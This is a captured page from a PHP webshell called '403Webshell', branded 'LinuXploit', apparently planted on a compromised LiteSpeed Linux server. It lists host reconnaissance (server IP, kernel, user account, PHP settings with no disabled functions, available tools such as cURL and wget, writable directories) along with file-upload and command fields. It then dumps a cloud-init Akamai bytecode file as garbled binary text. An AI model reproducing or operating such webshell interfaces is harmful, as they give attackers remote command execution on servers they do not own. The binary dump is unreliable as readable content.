403Webshell
Server IP : 192.250.235.158  /  Your IP : 216.73.216.143
Web Server : LiteSpeed
System : Linux s4099.sgp1.stableserver.net 5.14.0-503.21.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Jan 12 09:45:05 EST 2025 x86_64
User : vmxfzbqj ( 1905)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cloudinit/sources/helpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cloudinit/sources/helpers/__pycache__/akamai.cpython-39.opt-1.pyc
a

'�Dg��@s�ddlZddlmZmZmZmZddlmZdddddd	d
�Zee	ee
e	ffd�dd
�Ze
d�dd�Zee	d�dd�Z
dS)�N)�Any�Dict�Optional�Union)�dmiZallow_local_stageZallow_init_stageZ
allow_dhcpZ
allow_ipv4Z
allow_ipv6Zpreferred_mac_prefixes)ZalsZaisZdhcpZv4Zv6�pmp)�returncCsnt�d�}i}|s|St�d|�D]F\}}}|tvr"|dvrJtt|��}n|dkr\|�d�}||t|<q"|S)zH
    Parses flags from dmi data and updates self.ds_cfg accordingly
    zbaseboard-serial-numberz([a-z0-9]+)=(.*?)(;|$)Z01r�,)r�
read_dmi_data�re�findall�DMI_OVERRIDE_MAP�bool�int�split)Z	dmi_flags�ret�key�value�_�r�D/usr/lib/python3.9/site-packages/cloudinit/sources/helpers/akamai.py�get_dmi_configs

rcCst�d�}|dvS)zo
    Reads the BIOS vendor from dmi data to determine if we are running in the
    Akamai Connected Cloud.
    zsystem-manufacturer)ZLinodeZAkamai�rr
)Zvendorrrr�is_on_akamai(s
rcCs
t�d�S)zo
    Returns the instance id read from dmi data without requiring the metadata
    service to be reachable
    zsystem-serial-numberrrrrr�get_local_instance_id1sr)r�typingrrrrZ	cloudinitrr
�strrrrrrrrr�<module>s�
	

Youez - 2016 - github.com/yon3zu
LinuXploit